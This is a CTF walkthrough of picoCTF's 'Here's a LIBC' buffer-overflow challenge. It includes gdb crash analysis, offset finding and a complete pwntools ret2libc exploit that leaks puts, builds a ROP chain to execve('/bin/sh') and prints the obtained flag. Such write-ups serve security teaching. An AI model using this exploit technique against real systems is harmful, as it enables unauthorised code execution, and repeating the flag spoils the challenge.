Investigation
When connecting to challenge server on the given hostname and port, it is an echo server which echoes back the user input in alternate case.
$ nc mercury.picoctf.net 37289
WeLcOmE To mY EcHo sErVeR!
test
TeSt
^C
We are given following files:
$ ls -lR
.:
total 20
drwxr-xr-x 2 kali kali 4096 Nov 9 00:32 libc
-rw-r--r-- 1 kali kali 95 Mar 15 2021 Makefile
-rw-r--r-- 1 kali kali 8560 Mar 15 2021 vuln
./libc:
total 1984
-rw-r--r-- 1 kali kali 2030544 Mar 15 2021 libc.so.6
We are given the MakeFile
as well.
$ cat Makefile
all:
gcc -Xlinker -rpath=./ -m64 -fno-stack-protector -no-pie -o vuln vuln.c
clean:
rm vuln
We are given the lib.so.6
library from the target system along with the challenge binary itself.
Binary Security Measures
Inspecting the challenge binary to see the security measures.
$ gdb ./vuln -q
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
gdb-peda$
The challenge binary is not compiled with PIE
flag (also evident from MakeFile
), hence no ASLR
for the binary itself. However, NX
bit is set, meaning stack is non-executable. We will have to use rop
to solve this challenge.
Available Functions
Since binary is not ASLR enabled, we can use function address in the application binary itself.
gdb-peda$ info functions
All defined functions:
Non-debugging symbols:
0x0000000000400518 _init
0x0000000000400540 puts@plt
0x0000000000400550 setresgid@plt
0x0000000000400560 setbuf@plt
0x0000000000400570 getegid@plt
0x0000000000400580 __isoc99_scanf@plt
0x0000000000400590 _start
0x00000000004005c0 _dl_relocate_static_pie
0x00000000004005d0 deregister_tm_clones
0x0000000000400600 register_tm_clones
0x0000000000400640 __do_global_dtors_aux
0x0000000000400670 frame_dummy
0x0000000000400677 convert_case
0x00000000004006d8 do_stuff
0x0000000000400771 main
0x00000000004008b0 __libc_csu_init
0x0000000000400920 __libc_csu_fini
0x0000000000400924 _fini
gdb-peda$
The puts@plt
is of interest to us as we can leak runtime addresses of functions with it during runtime.
If we disassemble the instructions at puts@plt
, we can get the address of [email protected]
.
gdb-peda$ disassemble 0x0000000000400540
Dump of assembler code for function puts@plt:
0x0000000000400540 <+0>: jmp QWORD PTR [rip+0x200ad2] # 0x601018 <[email protected]>
0x0000000000400546 <+6>: push 0x0
0x000000000040054b <+11>: jmp 0x400530
End of assembler dump.
gdb-peda$
[email protected]
=0x601018
This address will point to the address of puts
in libc
during runtime.
Crashing the Application
Running the challenge binary locally within debugger and attempting to crash it.
$ gdb ./vuln -q
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)
gdb-peda$ r <<< $(python -c "print ('A'*1000)")
Starting program: /home/kali/Desktop/rop/pico-heres-a-libc/vuln <<< $(python -c "print ('A'*1000)")
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
WeLcOmE To mY EcHo sErVeR!
AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAAAAAAAAAAAAAAAAAAAAd
[----------------------------------registers-----------------------------------]
RAX: 0x7a ('z')
RBX: 0x0
RCX: 0x7ffff7cfa3f3 (<__GI___libc_write+19>: cmp rax,0xfffffffffffff000)
RDX: 0x1
RSI: 0x1
RDI: 0x7ffff7df6a50 --> 0x0
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffde18 ('A' <repeats 200 times>...)
RIP: 0x400770 (<do_stuff+152>: ret)
R8 : 0x7ffff7df6a50 --> 0x0
R9 : 0x77 ('w')
R10: 0x40093a --> 0x1b01000000006325
R11: 0x246
R12: 0x1b
R13: 0x0
R14: 0x1b
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x400769 <do_stuff+145>: call 0x400540 <puts@plt>
0x40076e <do_stuff+150>: nop
0x40076f <do_stuff+151>: leave
=> 0x400770 <do_stuff+152>: ret
0x400771 <main>: push rbp
0x400772 <main+1>: mov rbp,rsp
0x400775 <main+4>: push r15
0x400777 <main+6>: push r14
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde18 ('A' <repeats 200 times>...)
0008| 0x7fffffffde20 ('A' <repeats 200 times>...)
0016| 0x7fffffffde28 ('A' <repeats 200 times>...)
0024| 0x7fffffffde30 ('A' <repeats 200 times>...)
0032| 0x7fffffffde38 ('A' <repeats 200 times>...)
0040| 0x7fffffffde40 ('A' <repeats 200 times>...)
0048| 0x7fffffffde48 ('A' <repeats 200 times>...)
0056| 0x7fffffffde50 ('A' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400770 in do_stuff ()
gdb-peda$n
We have successfully crashed the application.
Finding RIP offset.
Generating pattern with gdb pattern_create
and giving it as input to the challenge binary.
$ gdb ./vuln -q
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)
gdb-peda$ pattern_create 1000 inp-pat
Writing pattern of 1000 chars to filename "inp-pat"
gdb-peda$ r < inp-pat
Starting program: /home/kali/Desktop/rop/pico-heres-a-libc/vuln < inp-pat
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
WeLcOmE To mY EcHo sErVeR!
AaA%AaSaAbAa$aAnAaCaA-Aa(aAdAa;aA)AaEaAaAa0aAfAaBaA1AaGaAcAa2aAhAaDaA3AaIaAeAa4aAjAaFaA5AaKaAgAa6aAlAAhAA7AAMAAiAA8AANAAd
[----------------------------------registers-----------------------------------]
RAX: 0x7a ('z')
RBX: 0x0
RCX: 0x7ffff7cfa3f3 (<__GI___libc_write+19>: cmp rax,0xfffffffffffff000)
RDX: 0x1
RSI: 0x1
RDI: 0x7ffff7df6a50 --> 0x0
RBP: 0x6c41415041416b41 ('AkAAPAAl')
RSP: 0x7fffffffde18 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%"...)
RIP: 0x400770 (<do_stuff+152>: ret)
R8 : 0x7ffff7df6a50 --> 0x0
R9 : 0x77 ('w')
R10: 0x40093a --> 0x1b01000000006325
R11: 0x246
R12: 0x1b
R13: 0x0
R14: 0x1b
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x400769 <do_stuff+145>: call 0x400540 <puts@plt>
0x40076e <do_stuff+150>: nop
0x40076f <do_stuff+151>: leave
=> 0x400770 <do_stuff+152>: ret
0x400771 <main>: push rbp
0x400772 <main+1>: mov rbp,rsp
0x400775 <main+4>: push r15
0x400777 <main+6>: push r14
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde18 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%"...)
0008| 0x7fffffffde20 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA"...)
[....]
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400770 in do_stuff ()
gdb-peda$
Take the first 8 characters from top of the stack (rsp
) and give it to pattern_offset
to find the rip offset.
gdb-peda$ pattern_offset AAQAAmAA
AAQAAmAA found at offset: 136
gdb-peda$
Piping the output of print ('A'*136 + 'B'*8 + 'C'*(1000-8-136))
will redirect the execution to 0x4242424242424242
.
$ gdb ./vuln -q
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)
gdb-peda$ r <<< $(python -c "print ('A'*136 + 'B'*8 + 'C'*(1000-8-136))")
Starting program: /home/kali/Desktop/rop/pico-heres-a-libc/vuln <<< $(python -c "print ('A'*136 + 'B'*8 + 'C'*(1000-8-136))")
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
WeLcOmE To mY EcHo sErVeR!
AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAAAAAAAAAAAAAAAAAAAAd
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x7a ('z')
RBX: 0x0
RCX: 0x7ffff7cfa3f3 (<__GI___libc_write+19>: cmp rax,0xfffffffffffff000)
RDX: 0x1
RSI: 0x1
RDI: 0x7ffff7df6a50 --> 0x0
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffde18 ("BBBBBBBB", 'C' <repeats 192 times>...)
RIP: 0x400770 (<do_stuff+152>: ret)
R8 : 0x7ffff7df6a50 --> 0x0
R9 : 0x77 ('w')
R10: 0x40093a --> 0x1b01000000006325
R11: 0x246
R12: 0x1b
R13: 0x0
R14: 0x1b
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x400769 <do_stuff+145>: call 0x400540 <puts@plt>
0x40076e <do_stuff+150>: nop
0x40076f <do_stuff+151>: leave
=> 0x400770 <do_stuff+152>: ret
0x400771 <main>: push rbp
0x400772 <main+1>: mov rbp,rsp
0x400775 <main+4>: push r15
0x400777 <main+6>: push r14
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde18 ("BBBBBBBB", 'C' <repeats 192 times>...)
0008| 0x7fffffffde20 ('C' <repeats 200 times>...)
[.....]
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400770 in do_stuff ()
gdb-peda$
Exploit Development Approach
- Leak the runtime address of
puts
by callingputs@plt
with[email protected]
address as argument. - Find the offset of
puts
function in the targetlibc
. - Use the puts offset and leaked puts address to calculate the LIBC base address.
- Search within
libc.so.6
required gadgets to callexecve("/bin/sh")
- Exploit the buffer overflow again to call
execve
. To do this, we must return to themain
function after leaking the puts address in step 1.
Implementation
from pwn import *
host, port = "mercury.picoctf.net", 37289
# target libc
libc = ELF("./libc/libc.so.6")
# challenge binary
chal = ELF("./vuln")
# puts offset in target libc
puts_offset = libc.symbols["puts"]
# 64 bit calling convention
# First 6 arguments (type int or ptr) in registers RDI, RSI, RDX, RCX, R8, R9
# Args 7 and above are pushed on to the stack
# function addresses
# 0x0000000000400540 puts@plt
puts_plt = 0x400540
# 0x0000000000400771 main
main = 0x400771
# 0x601018 <[email protected]>
# will point to the runtime address of puts
puts_got_plt = 0x601018
# Gadgets
# ropper --file vuln --search "pop rdi; ret"
# 0x0000000000400913: pop rdi; ret;
pop_rdi_ret = 0x400913
# ret addr for testing
fake_ret= 0xcafebabedeadbeef
# rip offset
payload = b"A"*136
# Step 1 - Leak the runtime address of puts.
# Call puts with the address of [email protected]
# puts([email protected])
# puts() writes the string s and a trailing newline to stdout.
# int puts(const char *s);
# Only one argument and is to be put in rdi.
payload += p64(pop_rdi_ret)
payload += p64(puts_got_plt) # RDI now contains the [email protected] which will
# point to the address of puts in libc.
payload += p64(puts_plt) # call puts
# we return to main so that we can exploit the overflow again
# to call execve this time.
payload += p64(main) # ret addr for puts
r = remote(host, port)
# recieve the banner
print (r.recvline().decode())
# send the payload
r.sendline(payload)
# receive the echo
print (r.recvline().decode())
# receive the leaked address of puts.
# we only need to receive the 6 bytes as the address is only 6 bytes long.
# gdb-peda$ p puts
# $1 = {int (const char *)} 0x7ffff7c75db0 <__GI__IO_puts>
puts_leaked = r.recv(6) + b"\x00\x00"
puts_leaked_addr = u64(puts_leaked)
print ("[+] Leaked address of puts(): " + hex(puts_leaked_addr))
# Step 2 - Calculate the base address of libc
# update the base address of libc
libc.address = puts_leaked_addr - puts_offset
print ("[+] LIBC Base Address: " + hex(libc.address))
# Step 3 - Search within LIBC gadgets required to call execve
# Search within LIBC the required gadgets for calling execve
# int execve(const char *pathname, char *const argv[],
# char *const envp[]);
# execve('/bin/sh', *0, *0)
# RDI = address of '/bin/sh'
# RSI = pointer to 0x0
# RDX = pointer 0x0
# gadgets for setting RSI and RDI to *0x0 were not found in challenge binary
# need to search them in libc.so.6
# ropper --file ./libc/libc.so.6 --search "pop rsi; ret"
# 0x00000000000024bf: pop rsi; retf 0x8a3f; sahf; sbb byte ptr [rax], cl; ret 0x5576;
# 0x0000000000023e8a: pop rsi; ret;
# ropper --file ./libc/libc.so.6 --search "pop rdx; ret"
# 0x0000000000100a42: pop rdx; ret 0xffff;
# 0x0000000000001b96: pop rdx; ret;
pop_rsi_ret = libc.address + 0x23e8a
pop_rdx_ret = libc.address + 0x1b96
# Finding address of execve, "/bin/sh" and
# an address pointing to zero within libc
binsh_string = next(libc.search(b"/bin/sh\x00"))
execve = libc.symbols["execve"]
zero_ptr = next(libc.search(b"\x00"*8))
# Step 4 - Exploit overflow again to call execve this time.
payload = b"A"*136
payload += p64(pop_rdi_ret)
payload += p64(binsh_string) # RDI = addr of /bin/sh
payload += p64(pop_rsi_ret) # RSI = * 0x0
payload += p64(zero_ptr)
payload += p64(pop_rdx_ret) # RDX = * 0x0
payload += p64(zero_ptr)
payload += p64(execve) # call execve
r.sendline(payload)
r.interactive()
Testing the exploit.
$ python poc.py
[*] '/home/kali/Desktop/rop/pico-heres-a-libc/libc/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/kali/Desktop/rop/pico-heres-a-libc/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./'
[+] Opening connection to mercury.picoctf.net on port 37289: Done
WeLcOmE To mY EcHo sErVeR!
AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAAAAAAAAAAAAAAAAAAAAd
[+] Leaked address of puts(): 0x7fa4abd7ea30
[+] LIBC Base Address: 0x7fa4abcfe000
[*] Switching to interactive mode
WeLcOmE To mY EcHo sErVeR!
AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAAAAAAAAAAAAAAAAAAAAd
$ id
uid=1556(here-s-a-libc_1) gid=1557(here-s-a-libc_1) groups=1557(here-s-a-libc_1)
$ whoami
here-s-a-libc_1
$ ls -l
total 2008
-r--r----- 1 hacksports here-s-a-libc_1 45 Mar 16 2021 flag.txt
-rw-rw-r-- 1 hacksports hacksports 2030544 Mar 15 2021 libc.so.6
-rwxr-sr-x 1 hacksports here-s-a-libc_1 8560 Mar 16 2021 vuln
-rw-rw-r-- 1 hacksports hacksports 975 Mar 16 2021 vuln.c
-rwxr-sr-x 1 hacksports here-s-a-libc_1 116 Mar 16 2021 xinet_startup.sh
$ cat flag.txt
picoCTF{1_<3_sm4sh_st4cking_e900800fb4613d1e}